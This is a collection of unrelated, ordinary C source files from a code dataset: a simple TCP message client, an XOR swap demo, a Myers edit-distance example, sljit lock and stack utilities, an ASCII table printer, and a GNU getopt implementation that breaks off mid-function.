/* * This program sends messages to a server over TCP. * The program takes two arguments. * The first argument is the ip address of the server. * The second argument is the port of the server. * To exit the program write quit. */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <unistd.h> #include <string.h> #define MAX_INPUT 255 int main(int argc, char *argv[]) { if (argc != 3) { fprintf(stderr,"usage: %s <receiver ip> <reciver port>\n",argv[0]); exit(1); } int sockfd, err, sendBytes; struct addrinfo hints, *servInfo, *p; char sendBuf[MAX_INPUT]; memset(&hints,0,sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; if ((err = getaddrinfo(argv[1],argv[2],&hints,&servInfo)) < 0) { fprintf(stderr,"getaddrinfo: %s\n",gai_strerror(err)); exit(1); } for (p = servInfo; p != NULL; p = p->ai_next) { if ((sockfd = socket(p->ai_family,p->ai_socktype,p->ai_protocol)) < 0) { perror("socket"); continue; } if (connect(sockfd,p->ai_addr,p->ai_addrlen) < 0) { close(sockfd); perror("connect"); continue; } break; } freeaddrinfo(servInfo); if (p == NULL) { fprintf(stderr,"connect failed\n"); exit(1); } p = NULL; for (;;) { memset(sendBuf,0,MAX_INPUT); if (fgets(sendBuf,MAX_INPUT,stdin) == NULL) { fprintf(stderr,"Read interrupted.\n"); } if (strncmp(sendBuf,"quit",4) == 0) { break; } if ((sendBytes = send(sockfd,sendBuf,strlen(sendBuf) + 1,0)) < 0) { perror("send"); } else { printf("Sendt message %s, which is %d bytes on socket %d.\n",sendBuf,sendBytes,sockfd); } } printf("Ends the program.\n"); close(sockfd); exit(0); }
the_stack_data/29973.c
#include <stdio.h> int main() { int a, b; a = 5; b = 7; printf("a:%d b:%d\n", a, b); a = a ^ b; b = a ^ b; a = a ^ b; printf("a:%d b:%d\n", a, b); return 0; }
the_stack_data/86131.c
/* * Given two strings as command-line arguments, this program finds out * the edit distance between them. * * This is a pure C program for explanatory purposes, to illustrate how * Myers' block model works. For details, please read "4.2. THE BLOCKS * MODEL" in the following paper: * * > G. Myers. "A fast bit-vector algorithm for approximate string * > matching based on dynamic programming." Journal of the ACM, 1999. * * License: * * MIT License (see polyleven/LICENSE) * * How to use: * * $ gcc -O2 -o myers1999_block myers1999_block.c * $ ./myers1999_block abcde abc * 2 */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #define CDIV(a,b) ((a) / (b) + ((a) % (b) > 0)) #define BIT(i,n) (((i) >> (n)) & 1) #define FLIP(i,n) ((i) ^ ((uint64_t) 1 << (n))) uint64_t *create_map(uint8_t *s, int64_t len) { int64_t i; uint64_t *Peq; uint64_t *map; int64_t maplen = 256 * CDIV(len, 64); map = calloc(maplen, sizeof(uint64_t)); if (map == NULL) return NULL; for (i = 0; i < len; i++) { Peq = map + (256 * (i / 64)); Peq[s[i]] |= (uint64_t) 1 << (i % 64); } return map; } int64_t myers1999(uint8_t *s1, int64_t len1, uint8_t *s2, int64_t len2) { uint64_t Eq, Xv, Xh, Ph, Mh, Pv, Mv, Last; uint64_t *Mhc, *Phc; int64_t i, b, hsize, vsize, Score; uint8_t Pb, Mb; uint64_t *map; uint64_t *Peq; hsize = CDIV(len1, 64); vsize = CDIV(len2, 64); Score = len2; if (len2 == 0) { return len1; } map = create_map(s2, len2); if (map == NULL) return -1; Phc = malloc(hsize * 2 * sizeof(uint64_t)); if (Phc == NULL) { free(map); return -1; } Mhc = Phc + hsize; memset(Phc, -1, hsize * sizeof(uint64_t)); memset(Mhc, 0, hsize * sizeof(uint64_t)); Last = (uint64_t) 1 << ((len2 - 1) % 64); for (b = 0; b < vsize; b++) { Peq = map + (256 * b); Mv = 0; Pv = (uint64_t) -1; Score = len2; for (i = 0; i < len1; i++) { Eq = Peq[s1[i]]; Pb = BIT(Phc[i / 64], i % 64); Mb = BIT(Mhc[i / 64], i % 64); Xv = Eq | Mv; Xh = ((((Eq | Mb) & Pv) + Pv) ^ Pv) | Eq | Mb; Ph = Mv | ~ (Xh | Pv); Mh = Pv & Xh; if (Ph & Last) Score++; if (Mh & Last) Score--; if ((Ph >> 63) ^ Pb) Phc[i / 64] = FLIP(Phc[i / 64], i % 64); if ((Mh >> 63) ^ Mb) Mhc[i / 64] = FLIP(Mhc[i / 64], i % 64); Ph = (Ph << 1) | Pb; Mh = (Mh << 1) | Mb; Pv = Mh | ~ (Xv | Ph); Mv = Ph & Xv; } } free(Phc); free(map); return Score; } int main(int argc, const char **argv) { if (argc < 3) { printf("usage: myers1999 str1 str2\n"); return -1; } uint8_t *s1 = (uint8_t *) argv[1]; uint8_t *s2 = (uint8_t *) argv[2]; int64_t len1 = strlen(argv[1]); int64_t len2 = strlen(argv[2]); printf("%li\n", myers1999(s1, len1, s2, len2)); return 0; }
the_stack_data/231391994.c
/* * Stack-less Just-In-Time compiler * * Copyright 2009-2012 Zoltan Herczeg ([email protected]). All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER(S) AND CONTRIBUTORS ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT * SHALL THE COPYRIGHT HOLDER(S) OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* ------------------------------------------------------------------------ */ /* Locks */ /* ------------------------------------------------------------------------ */ #if (defined SLJIT_EXECUTABLE_ALLOCATOR && SLJIT_EXECUTABLE_ALLOCATOR) || (defined SLJIT_UTIL_GLOBAL_LOCK && SLJIT_UTIL_GLOBAL_LOCK) #if (defined SLJIT_SINGLE_THREADED && SLJIT_SINGLE_THREADED) #if (defined SLJIT_EXECUTABLE_ALLOCATOR && SLJIT_EXECUTABLE_ALLOCATOR) static SLJIT_INLINE void allocator_grab_lock(void) { /* Always successful. */ } static SLJIT_INLINE void allocator_release_lock(void) { /* Always successful. */ } #endif /* SLJIT_EXECUTABLE_ALLOCATOR */ #if (defined SLJIT_UTIL_GLOBAL_LOCK && SLJIT_UTIL_GLOBAL_LOCK) SLJIT_API_FUNC_ATTRIBUTE void SLJIT_CALL sljit_grab_lock(void) { /* Always successful. */ } SLJIT_API_FUNC_ATTRIBUTE void SLJIT_CALL sljit_release_lock(void) { /* Always successful. */ } #endif /* SLJIT_UTIL_GLOBAL_LOCK */ #elif defined(_WIN32) /* SLJIT_SINGLE_THREADED */ #include "windows.h" #if (defined SLJIT_EXECUTABLE_ALLOCATOR && SLJIT_EXECUTABLE_ALLOCATOR) static HANDLE allocator_mutex = 0; static SLJIT_INLINE void allocator_grab_lock(void) { /* No idea what to do if an error occures. Static mutexes should never fail... */ if (!allocator_mutex) allocator_mutex = CreateMutex(NULL, TRUE, NULL); else WaitForSingleObject(allocator_mutex, INFINITE); } static SLJIT_INLINE void allocator_release_lock(void) { ReleaseMutex(allocator_mutex); } #endif /* SLJIT_EXECUTABLE_ALLOCATOR */ #if (defined SLJIT_UTIL_GLOBAL_LOCK && SLJIT_UTIL_GLOBAL_LOCK) static HANDLE global_mutex = 0; SLJIT_API_FUNC_ATTRIBUTE void SLJIT_CALL sljit_grab_lock(void) { /* No idea what to do if an error occures. Static mutexes should never fail... */ if (!global_mutex) global_mutex = CreateMutex(NULL, TRUE, NULL); else WaitForSingleObject(global_mutex, INFINITE); } SLJIT_API_FUNC_ATTRIBUTE void SLJIT_CALL sljit_release_lock(void) { ReleaseMutex(global_mutex); } #endif /* SLJIT_UTIL_GLOBAL_LOCK */ #else /* _WIN32 */ #if (defined SLJIT_EXECUTABLE_ALLOCATOR && SLJIT_EXECUTABLE_ALLOCATOR) #include <pthread.h> static pthread_mutex_t allocator_mutex = PTHREAD_MUTEX_INITIALIZER; static SLJIT_INLINE void allocator_grab_lock(void) { pthread_mutex_lock(&allocator_mutex); } static SLJIT_INLINE void allocator_release_lock(void) { pthread_mutex_unlock(&allocator_mutex); } #endif /* SLJIT_EXECUTABLE_ALLOCATOR */ #if (defined SLJIT_UTIL_GLOBAL_LOCK && SLJIT_UTIL_GLOBAL_LOCK) #include <pthread.h> static pthread_mutex_t global_mutex = PTHREAD_MUTEX_INITIALIZER; SLJIT_API_FUNC_ATTRIBUTE void SLJIT_CALL sljit_grab_lock(void) { pthread_mutex_lock(&global_mutex); } SLJIT_API_FUNC_ATTRIBUTE void SLJIT_CALL sljit_release_lock(void) { pthread_mutex_unlock(&global_mutex); } #endif /* SLJIT_UTIL_GLOBAL_LOCK */ #endif /* _WIN32 */ /* ------------------------------------------------------------------------ */ /* Stack */ /* ------------------------------------------------------------------------ */ #if (defined SLJIT_UTIL_STACK && SLJIT_UTIL_STACK) || (defined SLJIT_EXECUTABLE_ALLOCATOR && SLJIT_EXECUTABLE_ALLOCATOR) #ifdef _WIN32 #include "windows.h" #else /* Provides mmap function. */ #include <sys/mman.h> /* For detecting the page size. */ #include <unistd.h> #ifndef MAP_ANON #include <fcntl.h> /* Some old systems does not have MAP_ANON. */ static sljit_si dev_zero = -1; #if (defined SLJIT_SINGLE_THREADED && SLJIT_SINGLE_THREADED) static SLJIT_INLINE sljit_si open_dev_zero(void) { dev_zero = open("/dev/zero", O_RDWR); return dev_zero < 0; } #else /* SLJIT_SINGLE_THREADED */ #include <pthread.h> static pthread_mutex_t dev_zero_mutex = PTHREAD_MUTEX_INITIALIZER; static SLJIT_INLINE sljit_si open_dev_zero(void) { pthread_mutex_lock(&dev_zero_mutex); dev_zero = open("/dev/zero", O_RDWR); pthread_mutex_unlock(&dev_zero_mutex); return dev_zero < 0; } #endif /* SLJIT_SINGLE_THREADED */ #endif #endif #endif /* SLJIT_UTIL_STACK || SLJIT_EXECUTABLE_ALLOCATOR */ #if (defined SLJIT_UTIL_STACK && SLJIT_UTIL_STACK) /* Planning to make it even more clever in the future. */ static sljit_sw sljit_page_align = 0; SLJIT_API_FUNC_ATTRIBUTE struct sljit_stack* SLJIT_CALL sljit_allocate_stack(sljit_uw limit, sljit_uw max_limit, void *allocator_data) { struct sljit_stack *stack; union { void *ptr; sljit_uw uw; } base; #ifdef _WIN32 SYSTEM_INFO si; #endif if (limit > max_limit || limit < 1) return NULL; #ifdef _WIN32 if (!sljit_page_align) { GetSystemInfo(&si); sljit_page_align = si.dwPageSize - 1; } #else if (!sljit_page_align) { sljit_page_align = sysconf(_SC_PAGESIZE); /* Should never happen. */ if (sljit_page_align < 0) sljit_page_align = 4096; sljit_page_align--; } #endif /* Align limit and max_limit. */ max_limit = (max_limit + sljit_page_align) & ~sljit_page_align; stack = (struct sljit_stack*)SLJIT_MALLOC(sizeof(struct sljit_stack), allocator_data); if (!stack) return NULL; #ifdef _WIN32 base.ptr = VirtualAlloc(NULL, max_limit, MEM_RESERVE, PAGE_READWRITE); if (!base.ptr) { SLJIT_FREE(stack); return NULL; } stack->base = base.uw; stack->limit = stack->base; stack->max_limit = stack->base + max_limit; if (sljit_stack_resize(stack, stack->base + limit)) { sljit_free_stack(stack); return NULL; } #else #ifdef MAP_ANON base.ptr = mmap(NULL, max_limit, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); #else if (dev_zero < 0) { if (open_dev_zero()) { SLJIT_FREE(stack); return NULL; } } base.ptr = mmap(NULL, max_limit, PROT_READ | PROT_WRITE, MAP_PRIVATE, dev_zero, 0); #endif if (base.ptr == MAP_FAILED) { SLJIT_FREE(stack, allocator_data); return NULL; } stack->base = base.uw; stack->limit = stack->base + limit; stack->max_limit = stack->base + max_limit; #endif stack->top = stack->base; return stack; } #undef PAGE_ALIGN SLJIT_API_FUNC_ATTRIBUTE void SLJIT_CALL sljit_free_stack(struct sljit_stack* stack, void *allocator_data) { #ifdef _WIN32 VirtualFree((void*)stack->base, 0, MEM_RELEASE); #else munmap((void*)stack->base, stack->max_limit - stack->base); #endif SLJIT_FREE(stack, allocator_data); } SLJIT_API_FUNC_ATTRIBUTE sljit_sw SLJIT_CALL sljit_stack_resize(struct sljit_stack* stack, sljit_uw new_limit) { sljit_uw aligned_old_limit; sljit_uw aligned_new_limit; if ((new_limit > stack->max_limit) || (new_limit < stack->base)) return -1; #ifdef _WIN32 aligned_new_limit = (new_limit + sljit_page_align) & ~sljit_page_align; aligned_old_limit = (stack->limit + sljit_page_align) & ~sljit_page_align; if (aligned_new_limit != aligned_old_limit) { if (aligned_new_limit > aligned_old_limit) { if (!VirtualAlloc((void*)aligned_old_limit, aligned_new_limit - aligned_old_limit, MEM_COMMIT, PAGE_READWRITE)) return -1; } else { if (!VirtualFree((void*)aligned_new_limit, aligned_old_limit - aligned_new_limit, MEM_DECOMMIT)) return -1; } } stack->limit = new_limit; return 0; #else if (new_limit >= stack->limit) { stack->limit = new_limit; return 0; } aligned_new_limit = (new_limit + sljit_page_align) & ~sljit_page_align; aligned_old_limit = (stack->limit + sljit_page_align) & ~sljit_page_align; /* If madvise is available, we release the unnecessary space. */ #if defined(MADV_DONTNEED) if (aligned_new_limit < aligned_old_limit) madvise((void*)aligned_new_limit, aligned_old_limit - aligned_new_limit, MADV_DONTNEED); #elif defined(POSIX_MADV_DONTNEED) if (aligned_new_limit < aligned_old_limit) posix_madvise((void*)aligned_new_limit, aligned_old_limit - aligned_new_limit, POSIX_MADV_DONTNEED); #endif stack->limit = new_limit; return 0; #endif } #endif /* SLJIT_UTIL_STACK */ #endif
the_stack_data/32948931.c
// printASCIIwithControl.c // Chapter 15 // Learn C Programming // // Demonstrate how to // 1) builds upon printASCII_version3.c // 2) print the ASCII values 0 through 127 // a) uses a lookup table to print control character mnemonics. // b) simplifies printf statements fron a single one to multiple statements. // // compile with: // // cc printASCIIwithControl.c -o printASCIIwithControl -Wall -Werror -std=c11 // #include <stdio.h> int main( void ) { char* ctrl[] = { "NUL", "SOH", "STX", "ETX", "EOT", "ENQ", "ACK", "BEL", " BS", " HT", " LF", " VT", " FF", " CR", " SO", " SI", "DLE", "DC1", "DC2", "DC3", "DC4", "NAK", "SYN", "ETB", "CAN", " EM", "SUB", "ESC", " FS", " GS", " RS", " US" }; char c1 , c2 , c3 , c4; printf(" Table of 7-Bit ASCII and \n"); printf(" Single-Byte UTF-8 Character Sets \n\n"); printf("|Control Character| Printable Characaters (except DEL) |\n" ); printf("|-----------------|-----------------------------------------|\n" ); printf("| SYM Ch Dec Hex | Ch Dec Hex | Ch Dec Hex | Ch Dec Hex |\n" ); printf("|-----------------|-------------|-------------|-------------|\n" ); for( int i = 0 ; i < 32; i++) { c1 = i; c2 = i+32; c3 = i+64; c4 = i+96; printf( "| %s ^%c %3d %#4x " , // 1st column ctrl[i] , c1+64 , c1 , c1 ); printf( "| %c %3d %#x " , // 2nd column c2 , c2 , c2 ); printf( "| %c %3d %#x " , // 3rd column c3 , c3 , c3 ); if( c4 != 127 ) { // 4th column printf( "| %c %3d %#x |\n" , c4 , c4 , c4 ); } else { printf( "|%s %3d %#x |\n" , "DEL" , c4 , c4 ); } } c1 = 0x7; printf("%c%c%c", c1 , c1 , c1); } // main // eof
the_stack_data/9512585.c
/* Getopt for GNU. NOTE: getopt is now part of the C library, so if you don't know what "Keep this file name-space clean" means, talk to [email protected] before changing it! Copyright (C) 1987,88,89,90,91,92,93,94,95,96,98,99,2000,2001 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. */ /* This tells Alpha OSF/1 not to define a getopt prototype in <stdio.h>. Ditto for AIX 3.2 and <stdlib.h>. */ #ifndef _NO_PROTO #define _NO_PROTO #endif #ifdef HAVE_CONFIG_H #include <config.h> #endif #if !defined __STDC__ || !__STDC__ /* This is a separate conditional since some stdc systems reject `defined (const)'. */ #ifndef const #define const #endif #endif #include <stdio.h> /* Comment out all this code if we are using the GNU C Library, and are not actually compiling the library itself. This code is part of the GNU C Library, but also included in many other GNU distributions. Compiling and linking in this code is a waste when using the GNU C library (especially if it is a shared library). Rather than having every GNU program understand `configure --with-gnu-libc' and omit the object files, it is simpler to just do this in the source for each such file. */ #define GETOPT_INTERFACE_VERSION 2 #if !defined _LIBC && defined __GLIBC__ && __GLIBC__ >= 2 #include <gnu-versions.h> #if _GNU_GETOPT_INTERFACE_VERSION == GETOPT_INTERFACE_VERSION #define ELIDE_CODE #endif #endif #ifndef ELIDE_CODE /* This needs to come after some library #include to get __GNU_LIBRARY__ defined. */ #ifdef __GNU_LIBRARY__ /* Don't include stdlib.h for non-GNU C libraries because some of them contain conflicting prototypes for getopt. */ #include <stdlib.h> #include <unistd.h> #endif /* GNU C library. */ #ifdef VMS #include <unixlib.h> #if HAVE_STRING_H - 0 #include <string.h> #endif #endif #ifndef _ /* This is for other GNU distributions with internationalized messages. */ #if (HAVE_LIBINTL_H && ENABLE_NLS) || defined _LIBC #include <libintl.h> #ifndef _ #define _(msgid) gettext(msgid) #endif #else #define _(msgid) (msgid) #endif #if defined _LIBC && defined USE_IN_LIBIO #include <wchar.h> #endif #endif /* This version of `getopt' appears to the caller like standard Unix `getopt' but it behaves differently for the user, since it allows the user to intersperse the options with the other arguments. As `getopt' works, it permutes the elements of ARGV so that, when it is done, all the options precede everything else. Thus all application programs are extended to handle flexible argument order. Setting the environment variable POSIXLY_CORRECT disables permutation. Then the behavior is completely standard. GNU application programs can use a third alternative mode in which they can distinguish the relative order of options and other arguments. */ #include "getopt.h" /* For communication from `getopt' to the caller. When `getopt' finds an option that takes an argument, the argument value is returned here. Also, when `ordering' is RETURN_IN_ORDER, each non-option ARGV-element is returned here. */ char *optarg; /* Index in ARGV of the next element to be scanned. This is used for communication to and from the caller and for communication between successive calls to `getopt'. On entry to `getopt', zero means this is the first call; initialize. When `getopt' returns -1, this is the index of the first of the non-option elements that the caller should itself scan. Otherwise, `optind' communicates from one call to the next how much of ARGV has been scanned so far. */ /* 1003.2 says this must be 1 before any call. */ int optind = 1; /* Formerly, initialization of getopt depended on optind==0, which causes problems with re-calling getopt as programs generally don't know that. */ int __getopt_initialized; /* The next char to be scanned in the option-element in which the last option character we returned was found. This allows us to pick up the scan where we left off. If this is zero, or a null string, it means resume the scan by advancing to the next ARGV-element. */ static char *nextchar; /* Callers store zero here to inhibit the error message for unrecognized options. */ int opterr = 1; /* Set to an option character which was unrecognized. This must be initialized on some systems to avoid linking in the system's own getopt implementation. */ int optopt = '?'; /* Describe how to deal with options that follow non-option ARGV-elements. If the caller did not specify anything, the default is REQUIRE_ORDER if the environment variable POSIXLY_CORRECT is defined, PERMUTE otherwise. REQUIRE_ORDER means don't recognize them as options; stop option processing when the first non-option is seen. This is what Unix does. This mode of operation is selected by either setting the environment variable POSIXLY_CORRECT, or using `+' as the first character of the list of option characters. PERMUTE is the default. We permute the contents of ARGV as we scan, so that eventually all the non-options are at the end. This allows options to be given in any order, even with programs that were not written to expect this. RETURN_IN_ORDER is an option available to programs that were written to expect options and other ARGV-elements in any order and that care about the ordering of the two. We describe each non-option ARGV-element as if it were the argument of an option with character code 1. Using `-' as the first character of the list of option characters selects this mode of operation. The special argument `--' forces an end of option-scanning regardless of the value of `ordering'. In the case of RETURN_IN_ORDER, only `--' can cause `getopt' to return -1 with `optind' != ARGC. */ static enum { REQUIRE_ORDER, PERMUTE, RETURN_IN_ORDER } ordering; /* Value of POSIXLY_CORRECT environment variable. */ static char *posixly_correct; #ifdef __GNU_LIBRARY__ /* We want to avoid inclusion of string.h with non-GNU libraries because there are many ways it can cause trouble. On some systems, it contains special magic macros that don't work in GCC. */ #include <string.h> #define my_index strchr #else //# if HAVE_STRING_H || WIN32 /* Pete Wilson mod 7/28/02 */ #include <string.h> //# else //# include <strings.h> //# endif /* Avoid depending on library functions or files whose names are inconsistent. */ #ifndef getenv extern char *getenv(); #endif static char *my_index(str, chr) const char *str; int chr; { while (*str) { if (*str == chr) return (char *)str; str++; } return 0; } /* If using GCC, we can safely declare strlen this way. If not using GCC, it is ok not to declare it. */ #ifdef __GNUC__ /* Note that Motorola Delta 68k R3V7 comes with GCC but not stddef.h. That was relevant to code that was here before. */ #if (!defined __STDC__ || !__STDC__) && !defined strlen /* gcc with -traditional declares the built-in strlen to return int, and has done so at least since version 2.4.5. -- rms. */ extern int strlen(const char *); #endif /* not __STDC__ */ #endif /* __GNUC__ */ #endif /* not __GNU_LIBRARY__ */ /* Handle permutation of arguments. */ /* Describe the part of ARGV that contains non-options that have been skipped. `first_nonopt' is the index in ARGV of the first of them; `last_nonopt' is the index after the last of them. */ static int first_nonopt; static int last_nonopt; #ifdef _LIBC /* Stored original parameters. XXX This is no good solution. We should rather copy the args so that we can compare them later. But we must not use malloc(3). */ extern int __libc_argc; extern char **__libc_argv; /* Bash 2.0 gives us an environment variable containing flags indicating ARGV elements that should not be considered arguments. */ #ifdef USE_NONOPTION_FLAGS /* Defined in getopt_init.c */ extern char *__getopt_nonoption_flags; static int nonoption_flags_max_len; static int nonoption_flags_len; #endif #ifdef USE_NONOPTION_FLAGS #define SWAP_FLAGS(ch1, ch2) \ if (nonoption_flags_len > 0) { \ char __tmp = __getopt_nonoption_flags[ch1]; \ __getopt_nonoption_flags[ch1] = __getopt_nonoption_flags[ch2]; \ __getopt_nonoption_flags[ch2] = __tmp; \ } #else #define SWAP_FLAGS(ch1, ch2) #endif #else /* !_LIBC */ #define SWAP_FLAGS(ch1, ch2) #endif /* _LIBC */ /* Exchange two adjacent subsequences of ARGV. One subsequence is elements [first_nonopt,last_nonopt) which contains all the non-options that have been skipped so far. The other is elements [last_nonopt,optind), which contains all the options processed since those non-options were skipped. `first_nonopt' and `last_nonopt' are relocated so that they describe the new indices of the non-options in ARGV after they are moved. */ #if defined __STDC__ && __STDC__ static void exchange(char **); #endif static void exchange(argv) char **argv; { int bottom = first_nonopt; int middle = last_nonopt; int top = optind; char *tem; /* Exchange the shorter segment with the far end of the longer segment. That puts the shorter segment into the right place. It leaves the longer segment in the right place overall, but it consists of two parts that need to be swapped next. */ #if defined _LIBC && defined USE_NONOPTION_FLAGS /* First make sure the handling of the `__getopt_nonoption_flags' string can work normally. Our top argument must be in the range of the string. */ if (nonoption_flags_len > 0 && top >= nonoption_flags_max_len) { /* We must extend the array. The user plays games with us and presents new arguments. */ char *new_str = malloc(top + 1); if (new_str == NULL) nonoption_flags_len = nonoption_flags_max_len = 0; else { memset(__mempcpy(new_str, __getopt_nonoption_flags, nonoption_flags_max_len), '\0', top + 1 - nonoption_flags_max_len); nonoption_flags_max_len = top + 1; __getopt_nonoption_flags = new_str; } } #endif while (top > middle && middle > bottom) { if (top - middle > middle - bottom) { /* Bottom segment is the short one. */ int len = middle - bottom; register int i; /* Swap it with the top part of the top segment. */ for (i = 0; i < len; i++) { tem = argv[bottom + i]; argv[bottom + i] = argv[top - (middle - bottom) + i]; argv[top - (middle - bottom) + i] = tem; SWAP_FLAGS(bottom + i, top - (middle - bottom) + i); } /* Exclude the moved bottom segment from further swapping. */ top -= len; } else { /* Top segment is the short one. */ int len = top - middle; register int i; /* Swap it with the bottom part of the bottom segment. */ for (i = 0; i < len; i++) { tem = argv[bottom + i]; argv[bottom + i] = argv[middle + i]; argv[middle + i] = tem; SWAP_FLAGS(bottom + i, middle + i); } /* Exclude the moved top segment from further swapping. */ bottom += len; } } /* Update records for the slots the non-options now occupy. */ first_nonopt += (optind - last_nonopt); last_nonopt = optind; } /* Initialize the internal data when the first call is made. */ #if defined __STDC__ && __STDC__ static const char *_getopt_initialize(int, char *const *, const char *); #endif static const char *_getopt_initialize(argc, argv, optstring) int argc; char *const *argv; const char *optstring; { /* Start processing options with ARGV-element 1 (since ARGV-element 0 is the program name); the sequence of previously skipped non-option ARGV-elements is empty. */ first_nonopt = last_nonopt = optind; nextchar = NULL; posixly_correct = getenv("POSIXLY_CORRECT"); /* Determine how to handle the ordering of options and nonoptions. */ if (optstring[0] == '-') { ordering = RETURN_IN_ORDER; ++optstring; } else if (optstring[0] == '+') { ordering = REQUIRE_ORDER; ++optstring; } else if (posixly_correct != NULL) ordering = REQUIRE_ORDER; else ordering = PERMUTE; #if defined _LIBC && defined USE_NONOPTION_FLAGS if (posixly_correct == NULL && argc == __libc_argc && argv == __libc_argv) { if (nonoption_flags_max_len == 0) { if (__getopt_nonoption_flags == NULL || __getopt_nonoption_flags[0] == '\0') nonoption_flags_max_len = -1; else { const char *orig_str = __getopt_nonoption_flags; int len = nonoption_flags_max_len = strlen(orig_str); if (nonoption_flags_max_len < argc) nonoption_flags_max_len = argc; __getopt_nonoption_flags = (char *)malloc(nonoption_flags_max_len); if (__getopt_nonoption_flags == NULL) nonoption_flags_max_len = -1; else memset(__mempcpy(__getopt_nonoption_flags, orig_str, len), '\0', nonoption_flags_max_len - len); } } nonoption_flags_len = nonoption_flags_max_len; } else nonoption_flags_len = 0; #endif return optstring; } /* Scan elements of ARGV (whose length is ARGC) for option characters given in OPTSTRING. If an element of ARGV starts with '-', and is not exactly "-" or "--", then it is an option element. The characters of this element (aside from the initial '-') are option characters. If `getopt' is called repeatedly, it returns successively each of the option characters from each of the option elements. If `getopt' finds another option character, it returns that character, updating `optind' and `nextchar' so that the next call to `getopt' can resume the scan with the following option character or ARGV-element. If there are no more option characters, `getopt' returns -1. Then `optind' is the index in ARGV of the first ARGV-element that is not an option. (The ARGV-elements have been permuted so that those that are not options now come last.) OPTSTRING is a string containing the legitimate option characters. If an option character is seen that is not listed in OPTSTRING, return '?' after printing an error message. If you set `opterr' to zero, the error message is suppressed but we still return '?'. If a char in OPTSTRING is followed by a colon, that means it wants an arg, so the following text in the same ARGV-element, or the text of the following ARGV-element, is returned in `optarg'. Two colons mean an option that wants an optional arg; if there is text in the current ARGV-element, it is returned in `optarg', otherwise `optarg' is set to zero. If OPTSTRING starts with `-' or `+', it requests different methods of handling the non-option ARGV-elements. See the comments about RETURN_IN_ORDER and REQUIRE_ORDER, above. Long-named options begin with `--' instead of `-'. Their names may be abbreviated as long as the abbreviation is unique or is an exact match for some defined option. If they have an argument, it follows the option name in the same ARGV-element, separated from the option name by a `=', or else the in next ARGV-element. When `getopt' finds a long-named option, it returns 0 if that option's `flag' field is nonzero, the value of the option's `val' field if the `flag' field is zero. The elements of ARGV aren't really const, because we permute them. But we pretend they're const in the prototype to be compatible with other systems. LONGOPTS is a vector of `struct option' terminated by an element containing a name which is zero. LONGIND returns the index in LONGOPT of the long-named option found. It is only valid when a long-named option has been found by the most recent call. If LONG_ONLY is nonzero, '-' as well as '--' can introduce long-named options. */ int _getopt_internal(argc, argv, optstring, longopts, longind, long_only) int argc; char *const *argv; const char *optstring; const struct option *longopts; int *longind; int long_only; { int print_errors = opterr; if (optstring[0] == ':') print_errors = 0; if (argc < 1) return -1; optarg = NULL; if (optind == 0 || !__getopt_initialized) { if (optind == 0) optind = 1; /* Don't scan ARGV[0], the program name. */ optstring = _getopt_initialize(argc, argv, optstring); __getopt_initialized = 1; } /* Test whether ARGV[optind] points to a non-option argument. Either it does not have option syntax, or there is an environment flag from the shell indicating it is not an option. The later information is only used when the used in the GNU libc. */ #if defined _LIBC && defined USE_NONOPTION_FLAGS #define NONOPTION_P \ (argv[optind][0] != '-' || argv[optind][1] == '\0' || \ (optind < nonoption_flags_len && \ __getopt_nonoption_flags[optind] == '1')) #else #define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0') #endif if (nextchar == NULL || *nextchar == '\0') { /* Advance to the next ARGV-element. */ /* Give FIRST_NONOPT and LAST_NONOPT rational values if OPTIND has been moved back by the user (who may also have changed the arguments). */ if (last_nonopt > optind) last_nonopt = optind; if (first_nonopt > optind) first_nonopt = optind; if (ordering == PERMUTE) { /* If we have just processed some options following some non-options, exchange them so that the options come first. */ if (first_nonopt != last_nonopt && last_nonopt != optind) exchange((char **)argv); else if (last_nonopt != optind) first_nonopt = optind; /* Skip any additional non-options and extend the range of non-options previously skipped. */ while (optind < argc && NONOPTION_P) optind++; last_nonopt = optind; } /* The special ARGV-element `--' means premature end of options. Skip it like a null option, then exchange with previous non-options as if it were an option, then skip everything else like a non-option. */ if (optind != argc && !strcmp(argv[optind], "--")) { optind++; if (first_nonopt != last_nonopt && last_nonopt != optind) exchange((char **)argv); else if (first_nonopt == last_nonopt) first_nonopt = optind; last_nonopt = argc; optind = argc; } /* If we have done all the ARGV-elements, stop the scan and back over any non-options that we skipped and permuted. */ if (optind == argc) { /* Set the next-arg-index to point at the non-options that we previously skipped, so the caller will digest them. */ if (first_nonopt 